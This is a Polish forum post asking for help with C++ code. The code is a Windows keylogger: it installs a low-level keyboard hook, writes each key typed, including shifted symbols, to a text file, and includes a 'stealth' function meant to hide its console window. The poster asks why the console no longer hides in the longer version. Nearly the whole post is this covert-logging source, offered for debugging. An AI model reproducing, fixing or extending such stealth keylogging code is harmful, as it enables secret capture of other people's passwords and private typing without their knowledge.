Chłopaki mam dziwny problem otóż mam taki kod:
i tu jak go kompiluje w dev c++ konsola normalnie się ukrywa ale jak już mam taki kod:
to konsola mi się już nie ukrywa czy wie co może być nie tak ?
Kod:
#include <iostream>
#include <fstream>
#include <windows.h>
#define VK_A 65
#define VK_B 66
using namespace std;
void hide(void) {
HWND stealth;
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
}
fstream out("plik.txt", ios::out);
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
if(wParam==WM_KEYDOWN)
{
switch(p->vkCode)
{
case VK_A:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out << "A";
else
out << "a";
break;
case VK_B:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out << "B";
else
out << "b";
break;
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
MSG msg;
HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHookProc, GetModuleHandle(0), 0);
while(GetMessage(&msg, NULL, 0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
return msg.wParam;
}
}
i tu jak go kompiluje w dev c++ konsola normalnie się ukrywa ale jak już mam taki kod:
Kod:
#include <iostream>
#include <windows.h>
#include <fstream>
#define VK_A 65
#define VK_B 66
#define VK_C 67
#define VK_D 68
#define VK_E 69
#define VK_F 70
#define VK_G 71
#define VK_H 72
#define VK_I 73
#define VK_J 74
#define VK_K 75
#define VK_L 76
#define VK_M 77
#define VK_N 78
#define VK_O 79
#define VK_P 80
#define VK_Q 81
#define VK_R 82
#define VK_S 83
#define VK_T 84
#define VK_U 85
#define VK_V 86
#define VK_W 87
#define VK_X 88
#define VK_Y 89
#define VK_Z 90
#define VK_0 48
#define VK_1 49
#define VK_2 50
#define VK_3 51
#define VK_4 52
#define VK_5 53
#define VK_6 54
#define VK_7 55
#define VK_8 56
#define VK_9 57
#define VK_OEM_1 0xBA
#define VK_OEM_2 0xBF
#define VK_OEM_3 0xC0
#define VK_OEM_4 0xDB
#define VK_OEM_5 0xDC
#define VK_OEM_6 0xDD
#define VK_OEM_7 0xDE
#define VK_OEM_PLUS 0xBB
#define VK_OEM_MINUS 0xBD
#define VK_OEM_COMMA 0xBC
#define VK_OEM_PERIOD 0xBE
void hide(void) {
HWND stealth;
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
}
using namespace std;
ofstream out("plik.txt", ios::out);LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
if(wParam==WM_KEYDOWN)
{
switch (p->vkCode) {
case VK_A:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out << "A";
else
out << "a";
break;
case VK_B:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out << "B";
else
out <<"b";
break;
case VK_C:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out <<"C";
else
out <<"c";
break;
case VK_D:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out <<"D";
else
out << "d";
break;
case VK_E:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out <<"E";
else
out <<"e";
break;
case VK_F:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out <<"F";
else
out <<"f";
break;
case VK_G:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out <<"G";
else
out <<"g";
break;
case VK_H:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out <<"H";
else
out <<"h";
break;
case VK_I:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out <<"I";
else
out <<"i";
break;
case VK_J:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out <<"J";
else
out <<"j";
break;
case VK_K:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out <<"K";
else
out <<"k";
break;
case VK_L:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out <<"L";
else
out <<"l";
break;
case VK_M:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out <<"M";
else
out <<"m";
break;
case VK_N:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out <<"N";
else
out <<"n";
break;
case VK_O:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out <<"O";
else
out <<"o";
break;
case VK_P:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out <<"P";
else
out <<"p";
break;
case VK_Q:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out <<"Q";
else
out <<"q";
break;
case VK_R:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out <<"R";
else
out <<"r";
break;
case VK_S:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out <<"S";
else
out <<"s";
break;
case VK_T:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out <<"T";
else
out <<"t";
break;
case VK_U:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out <<"U";
else
out <<"u";
break;
case VK_V:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out <<"V";
else
out <<"v";
break;
case VK_W:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out <<"W";
else
out <<"w";
break;
case VK_X:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out <<"X";
else
out <<"x";
break;
case VK_Y:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out <<"Y";
else
out <<"y";
break;
case VK_Z:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out <<"Z";
else
out <<"z";
break;
case VK_0:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out << "0";
else
out << ")";
break;
case VK_1:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out << "!";
else
out << "1";
break;
case VK_2:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out << "@";
else
out <<"2";
break;
case VK_3:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out << "#";
else
out <<"3";
break;
case VK_4:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out << "$";
else
out << "4";
break;
case VK_5:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out << "%";
else
out << "5";
break;
case VK_6:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out << "^";
else
out << "6";
break;
case VK_7:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out << "&";
else
out << "7";
break;
case VK_8:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out << "*";
else
out << "8";
break;
case VK_9:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out << "(";
else
out << "9";
break;
case VK_OEM_1:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out << ":";
else
out << ";";
break;
case VK_OEM_2:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out << "?";
else
out << "/";
break;
case VK_OEM_3:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out << "~`";
else
out << "`";
break;
case VK_OEM_4:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out << "{";
else
out << "[";
break;
case VK_OEM_5:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out << "|";
else
out << " \ ";
break;
case VK_OEM_PLUS:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out << "+";
else
out << "=";
break;
case VK_OEM_MINUS:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out << "_";
else
out << "-";
break;
case VK_OEM_COMMA:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out << "<";
else
out << ",";
break;
case VK_OEM_PERIOD:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out << ">";
else
out << ".";
break;
case VK_OEM_6:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out << "}";
else
out << "]";
break;
case VK_OEM_7:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out << " ' ";
else
out << " '' ";
break;
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
MSG msg;
HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHookProc, GetModuleHandle(0), 0);
while(GetMessage(&msg, NULL, 0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
return msg.wParam;
}
}
to konsola mi się już nie ukrywa czy wie co może być nie tak ?